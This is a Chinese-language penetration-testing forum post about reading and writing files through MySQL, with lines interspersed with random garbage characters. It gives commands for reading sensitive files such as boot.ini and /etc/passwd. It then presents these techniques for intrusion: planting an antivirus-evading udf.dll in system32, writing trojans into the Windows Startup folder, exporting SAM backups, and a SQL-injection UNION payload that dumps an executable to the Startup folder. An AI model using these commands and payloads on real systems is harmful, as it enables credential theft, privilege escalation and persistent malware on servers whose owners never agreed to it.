中国网络渗透测试联盟

标题: mysql下读取文件的几种方式 [打印本页]

作者: admin    时间: 2012-9-13 16:34
标题: mysql下读取文件的几种方式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
$ X' u/ c) S! s2 u思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同 5 P2 ?1 p" J# e* [
" m5 o0 A4 J( i1 T7 h- N0 n$ o* P! ?- Y
mysql3.x下
6 H" f) y" G: {' x2 B: ~, c
) ?2 P& S7 \- k$ W+ q1 k, f6 ?8 K: {不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下 / ]& b6 f: a8 l0 N6 t# \+ u
' E  E* b) g/ |+ h/ P  ]' j5 X
mysql>create table a (cmd text); 7 ]' o2 C! @0 T5 b- U, P
mysql>load data infile 'c:\\boot.ini' into table a;
* |' z( O+ K& P' Cmysql>select * from a;
# L6 Z5 _% s; ~6 `) R, H, k% x& _2 ~
mysql4.x下 + b/ Y5 H3 n0 k. ]3 r

- N+ f3 \6 {$ ?! ]' Vmysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下 6 y; D" b* W* k9 [7 U

. `! g1 f1 t8 g; Lmysql>create table a (cmd text); # _; _0 N+ b0 K
mysql>insert into a (cmd) values (load_file('c:\\boot.ini')); 2 W! I4 T& b! X, A# D) f9 W- g& q
mysql>select * from a;
* \- `1 f$ Z* g* g* e: I, P4 S
& G9 B9 R" ^  bmysql5.x下 2 J$ c) o( b, {  ?  H! h7 Z

9 T/ r3 z6 Z1 g) A6 M在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下 7 m0 @$ \2 I2 |" j
1 N; L# M( }8 d) e3 `
mysql>system cat /etc/passwd
7 R4 |5 p4 G. ?3 ^4 s
& y+ {  Q( p: \3 g8 k  \  H: Q9 L+ o6 S/ [0 p+ B
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。 7 d# B2 B: _3 t" A1 f' x

6 @7 F4 K% r; A
9 a. L1 I* R: k0 `例:把免杀过的udf.dll文件插入系统目录
. J4 S* u/ R9 ]: C  z- H
0 c% o" q& A0 l  T2 m- `( {create table a (cmd LONGBLOB); % \* b# _9 r/ z/ v
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
/ D5 n5 _7 t: p9 LSELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
2 ]6 B5 g8 K( }6 S# D! @' G  f( r' K4 m; h9 x. V4 w. u
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
# O. `& S4 O/ w% R* E' z4 S# ?
$ v1 V5 V: F1 W
/ W+ i& `) E7 a) B* d6 C/ H7 i注入中的语法(未测试) 4 B. p& @% k& j) }  j

& Q( V( F" S6 |& J: ?, L, c! y2 c9 F: t& s
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2